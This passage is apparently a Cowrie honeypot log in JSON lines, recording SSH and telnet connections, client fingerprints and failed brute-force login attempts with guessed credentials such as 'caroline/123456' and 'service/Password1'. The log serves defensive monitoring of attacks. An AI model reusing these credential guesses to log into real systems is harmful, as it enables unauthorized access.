57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:35:36.463602Z","src_ip":"142.93.139.168","session":"c2f29021febd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zoe","password":"123456","message":"login attempt [zoe/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:35:36.616889Z","src_ip":"142.93.139.168","session":"c2f29021febd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:35:37.695093Z","src_ip":"142.93.139.168","session":"c2f29021febd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.99261498451233,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:35:41.451194Z","src_ip":"216.180.246.209","session":"ea67cff637c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.127.249","src_port":53532,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9d1f78f1c50","protocol":"ssh","message":"New connection: 45.79.127.249:53532 (159.203.135.109:22) [session: b9d1f78f1c50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:35:52.629073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:35:52.632268Z","src_ip":"45.79.127.249","session":"b9d1f78f1c50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:35:52.835249Z","src_ip":"45.79.127.249","session":"b9d1f78f1c50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"service","password":"Password1","message":"login attempt [service/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:35:53.243137Z","src_ip":"45.79.127.249","session":"b9d1f78f1c50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:35:54.448627Z","src_ip":"45.79.127.249","session":"b9d1f78f1c50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.30.211","src_port":60256,"dst_ip":"10.17.0.5","dst_port":22,"session":"a60c796fcc05","protocol":"ssh","message":"New connection: 159.65.30.211:60256 (10.17.0.5:22) [session: a60c796fcc05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:37:12.037800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:37:12.041883Z","src_ip":"159.65.30.211","session":"a60c796fcc05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:37:12.110048Z","src_ip":"159.65.30.211","session":"a60c796fcc05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"desmond","password":"desmond","message":"login attempt [desmond/desmond] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:37:12.250246Z","src_ip":"159.65.30.211","session":"a60c796fcc05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:37:13.321241Z","src_ip":"159.65.30.211","session":"a60c796fcc05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.139.168","src_port":47238,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9deca1edbb7","protocol":"ssh","message":"New connection: 142.93.139.168:47238 (10.17.0.5:22) [session: c9deca1edbb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:37:37.455242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:37:37.459296Z","src_ip":"142.93.139.168","session":"c9deca1edbb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:37:37.538134Z","src_ip":"142.93.139.168","session":"c9deca1edbb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zoe","password":"123456","message":"login attempt [zoe/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:37:37.689417Z","src_ip":"142.93.139.168","session":"c9deca1edbb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:37:38.765763Z","src_ip":"142.93.139.168","session":"c9deca1edbb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.75.137.141","src_port":45350,"dst_ip":"10.17.0.5","dst_port":22,"session":"53d3f0980b0e","protocol":"ssh","message":"New connection: 5.75.137.141:45350 (10.17.0.5:22) [session: 53d3f0980b0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:37:52.834654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:37:52.838784Z","src_ip":"5.75.137.141","session":"53d3f0980b0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:37:52.926416Z","src_ip":"5.75.137.141","session":"53d3f0980b0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"caroline","password":"123456","message":"login attempt [caroline/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:37:53.104385Z","src_ip":"5.75.137.141","session":"53d3f0980b0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:37:54.194401Z","src_ip":"5.75.137.141","session":"53d3f0980b0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.75.137.141","src_port":34540,"dst_ip":"159.203.135.109","dst_port":22,"session":"aea5eab66c46","protocol":"ssh","message":"New connection: 5.75.137.141:34540 (159.203.135.109:22) [session: aea5eab66c46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:38:44.251743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:38:44.256800Z","src_ip":"5.75.137.141","session":"aea5eab66c46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:38:44.344196Z","src_ip":"5.75.137.141","session":"aea5eab66c46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"caroline","password":"123456","message":"login attempt [caroline/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:38:44.522419Z","src_ip":"5.75.137.141","session":"aea5eab66c46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:38:45.611295Z","src_ip":"5.75.137.141","session":"aea5eab66c46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.144.233","src_port":43452,"dst_ip":"10.17.0.5","dst_port":22,"session":"58d7c7a75675","protocol":"ssh","message":"New connection: 64.227.144.233:43452 (10.17.0.5:22) [session: 58d7c7a75675]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:38:51.672910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:38:51.679263Z","src_ip":"64.227.144.233","session":"58d7c7a75675","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:38:51.904555Z","src_ip":"64.227.144.233","session":"58d7c7a75675","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"website","password":"website","message":"login attempt [website/website] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:38:52.357613Z","src_ip":"64.227.144.233","session":"58d7c7a75675","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:38:53.585288Z","src_ip":"64.227.144.233","session":"58d7c7a75675","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.94.146.58","src_port":43146,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ff9287ef042","protocol":"telnet","message":"New connection: 167.94.146.58:43146 (10.17.0.5:23) [session: 2ff9287ef042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:40:46.735658Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.254.192.213","src_port":31500,"dst_ip":"10.17.0.5","dst_port":22,"session":"db5f62f8e525","protocol":"ssh","message":"New connection: 47.254.192.213:31500 (10.17.0.5:22) [session: db5f62f8e525]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:40:51.108803Z"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:40:54.360226Z","src_ip":"47.254.192.213","session":"db5f62f8e525","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.254.192.213","src_port":31514,"dst_ip":"10.17.0.5","dst_port":22,"session":"6972e0091129","protocol":"ssh","message":"New connection: 47.254.192.213:31514 (10.17.0.5:22) [session: 6972e0091129]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:40:54.593581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:40:54.597126Z","src_ip":"47.254.192.213","session":"6972e0091129","protocol":"ssh"}
